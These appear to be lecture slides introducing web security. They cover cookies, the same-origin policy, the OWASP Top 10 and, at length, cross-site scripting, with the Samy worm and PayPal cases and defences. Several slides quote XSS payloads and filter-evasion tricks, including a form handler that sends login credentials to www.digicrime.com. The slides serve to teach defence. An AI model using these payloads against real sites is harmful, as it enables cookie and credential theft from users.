Intro to Web Security
What is the Internet? • “global system of interconnected computer networks that use the Internet protocol suite (TCP/ IP) to link devices worldwide” - Wikipedia
… and why do we care? • The interconnectedness of the Internet brings people together. • People write bad software.
What Webpages are Made Of • HTML • CSS • JavaScript • Others? • VBScript • Flash (dead) • Java (dying)
HTML • Markup language • HTML5 added interactive components: • Canvas • Audio • Video
CSS • Style language • Built to separate content from style • CSS3 — built in tandem with HTML5
JavaScript • Scripting language (similar to Python) • Server side (NodeJS) • Client side • Stateless
Browser Rendering • Basic browser execution model • Each browser window or frame • Loads content • Renders it • Processes HTML and scripts to display page • May involve images, subframes, etc. • Responds to events • Events can be • User actions: OnClick , OnMouseover • Rendering: OnLoad , OnBeforeUnload • Timing: setTimeout() , clearTimeout() • Guide: http://www.w3schools.com/js/js_events.asp • Complete list: http://www.w3schools.com/jsref/dom_obj_event.asp
Cookies • Used to store state on user’s machine POST … Browser Server HTTP Header: Set-cookie: NAME=VALUE ; domain = (who can read) ; If expires=NULL: expires = (when expires) ; this session only secure = (only over SSL) Browser POST … Server Cookie: NAME = VALUE HTTP is stateless protocol; cookies add state
Cookies • Name, value, attributes: • expiration date • hostname valid for • Secure (?) • only over HTTPS • HTTPOnly (?) • not over JavaScript
GDPR + Cookies nytimes.com
GDPR + Cookies cnn.com
GDPR + Cookies tulsaworld.com
GDPR + cookies • From http://ec.europa.eu/justice/data-protection/ reform/files/regulation_oj_en.pdf • (30): “Natural persons may be associated with online identifiers […] such as internet protocol addresses, cookie identifiers or other identifiers […]. This may leave traces which, in particular when combined with unique identifiers and other information received by the servers, may be used to create profiles of the natural persons and identify them.”
Same Origin Policy • Same origin policy: Scripts can access information as long as webpages have the same origin: • Protocol (http:// vs. https://) • Host (www.unm.edu vs. cs.unm.edu vs. unm.edu) • Port (:80 vs. :443)
Reading • Security • Privacy • Anonymity • Trust • Security Policy/Security Failure
Reading Policy Incentives Mechanism Assurance
OWASP Top 10 - 2017 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10.Insufficient Logging and Monitoring.
OWASP Top 10 - 2017 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10.Insufficient Logging and Monitoring.
Cross Site Scripting • A vulnerability that allows an attacker to run JavaScript on a victim webpage • Why? • COOKIES • DATA
Types of XSS • Methods for injecting malicious code: • Reflected XSS • the attack script is reflected back to the user as part of a page from the victim site • Persistant/Stored XSS • the attacker stores the malicious code in a resource managed by the web application, such as a database • Others, such as DOM-based attacks
Reflected XSS • Webpages that show results without sanitizing inputs properly • Webforms
Reflected XSS r d Attack Server d a l i a m Email version e t c e l l o C 1 send malicious email a 2 t a d e l b a u l a v d n e s 5 3 click on link User Victim 4 echo user input Server Victim
PayPal 2006 Example Vuln • Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website. • Injected code redirected PayPal visitors to a page warning users their accounts had been compromised. • Victims were then redirected to a phishing site and prompted to enter sensitive financial data.
Persistant XSS • Webpages that store results without proper sanitizing and then display them to users later • Web forums
Reflected XSS Attack Server a t a d e l b a u l a v d n e s 5 3 click on link User Victim 4 Send bad stuff echo user input Server Victim Reflect it back
Persistant XSS Attack Server a t a d e l b a u l a v l a e t s 4 1 Inject Store bad stuff malicious 2 request content User Victim script 3 receive malicious script Server Victim Download it
Samy Worm (MySpace 2005) • Users can add JavaScript to their page to customize it. Some tags are blocked. • blocked: script , body , onClick , onAnything , etc. • Embed JavaScript in other tags. <div style="background:url('javascript:alert(1)')"> • • Stored function in a div. <div id="mycode" expr="alert('hah!')" • style="background:url('javascript:eval(document.all.mycode.e xpr)')"> https://samy.pl/myspace/tech.html
Samy Worm (MySpace 2005) • MySpace stripped out the word “javascript” • Hid as java\nscript • Similarly, MySpace striped out “innerHTML” alert(eval('document.body.inne' + 'rHTML')); • • With additional JavaScript hacking and obfuscation: • Samy worm infects anyone who visits an infected MySpace page … and adds Samy as a friend. • Samy had millions of friends within 24 hours.
Stored XSS as Images • Suppose pic.jpg on web server contains HTML ! • request for http://site.com/pic.jpg results in: HTTP/1.1 200 OK … Content-Type: image/jpeg <html> fooled ya </html> • IE will render this as HTML (despite Content-Type) • Consider photo sharing sites that support image uploads • What if attacker uploads an “image” that is a script?
Protecting Against XSS • The best way to protect against XSS attacks: • Validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. • Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content. • Adopt a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Input Data Validation + Filtering • Never trust client-side data • Best: allow only what you expect • Remove/encode special characters • Many encodings, special chars! • E.g., long (non-standard) UTF-8 encodings
Output filtering/encoding • Remove / encode (X)HTML special chars • < for <, > for >, " for “ … • Allow only safe commands (e.g., no <script>…) • Caution: `filter evasion` tricks • See XSS Cheat Sheet for filter evasion • E.g., if filter allows quoting (of <script> etc.), use malformed quoting: <IMG “””><SCRIPT>alert(“XSS”)… • Or: (long) UTF-8 encode, or… • Caution: Scripts not only in <script>! • Examples in a few slides
Caution: Scripts not only in <script>! • JavaScript as scheme in URI <img src=“javascript:alert(document.cookie);”> • • JavaScript On{event} attributes (handlers) OnSubmit, OnError, OnLoad , … • • Typical use: <img src=“none” OnError=“alert(document.cookie)”> • <iframe src=`https://bank.com/login` onload=`steal()`> • <form> action="logon.jsp" method=“post" onsubmit="hackImg=new • Image; hackImg.src='http:// www.digicrime.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form>
Problems with filters • Suppose a filter removes <script • Good case <script src=“ ...” → src=“...” • • But then <scr<scriptipt src=“ ...” → <script src=“ ...” •
Takeaways • Key concepts • Whitelisting vs. blacklisting • Output encoding vs. input sanitization • Sanitizing before or after storing in database • Dynamic versus static defense techniques • Good ideas • Static analysis • Taint tracking • Framework support • Continuous testing • Bad ideas • Blacklisting • Manual sanitization
Demo https://alf.nu/alert1
Recommend
More recommend